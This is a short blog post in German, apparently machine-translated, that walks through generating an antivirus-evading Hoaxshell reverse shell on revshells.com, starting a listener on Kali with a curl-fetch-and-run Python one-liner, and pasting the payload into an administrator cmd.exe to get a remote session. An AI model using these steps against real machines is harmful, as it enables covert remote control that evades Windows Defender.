FUD mit Revshell + Hoaxshell (schon wieder!).

Ja! Unsere Liebe Hoaxshell ist zurück und ja, ihr FUD ist wieder „völlig nicht nachweisbar“ !

Ich habe gerade beiläufig auf Twitter gesurft, um zu sehen, was in der Community los ist, und bin auf den Tweet von „ Panagiotis Chartas “ gestoßen, dass sie „ hoaxshell “ jetzt auf eine beliebte Reverse-Shell-Generator-Plattform namens „ Revshell “ hochgeladen haben.

Außerdem ist es wieder für „ Defender “ nicht erkennbar , also dachte ich mir, warum es nicht noch einmal versuchen?!

Also habe ich schnell den „ Defender “ und die „ Updates“ überprüft . Von Windows-Seite sieht hier alles gut aus.

Ich habe Revshell.com geöffnet und auf die Registerkarte „Hoaxshell“ geklickt. Ich konnte mehrere Reverse-Shell-Optionen sehen, die erstellt werden können. Also habe ich einfach das erste ausgewählt. Ich habe die IP und den Abhörport auf der Website eingerichtet.

Geben Sie einfach Ihre IP und Ihren Port an. Außerdem benötigen wir „ Windows CMD cURL “. Gehen Sie nun zu Ihrem Kali-Terminal. Wir müssen unseren „ Hoaxshell “-Listener starten .

python3 -c „$(curl -s https://raw.githubusercontent.com/t3l3machus/hoaxshell/main/revshells/hoaxshell-listener.py)“ -t cmd-curl -p 8080

Sobald Sie die Eingabetaste drücken, werden Sie sehen, dass unser Server auf eine Verbindung wartet.

Jetzt müssen wir „ Cmd.exe “ als „ Administrator “ öffnen … und einfach die Nutzdaten von „Revshell.com“ kopieren und in unsere cmd.exe einfügen.

Wir sind fast fertig … wir haben unsere Nutzlast in „ Cmd.exe “ und auch unseren Listener in der Kali- Maschine bereit.

Wenn Sie die Eingabetaste drücken, können Sie eine Sitzung in der „Hoaxshell“ mit der cmd.exe-Shell einrichten. Jetzt können Sie tun und lassen, was Sie wollen.

Danke Leute, ich hoffe, das hilft euch dabei, das Tool „Hoaxshell“ besser zu verstehen, und ehrlich gesagt ist auch das Gefühl, FUD zu sein, wirklich gut. Wir sehen uns im nächsten Blog, bis dahin ruht euch aus. ✌❤️.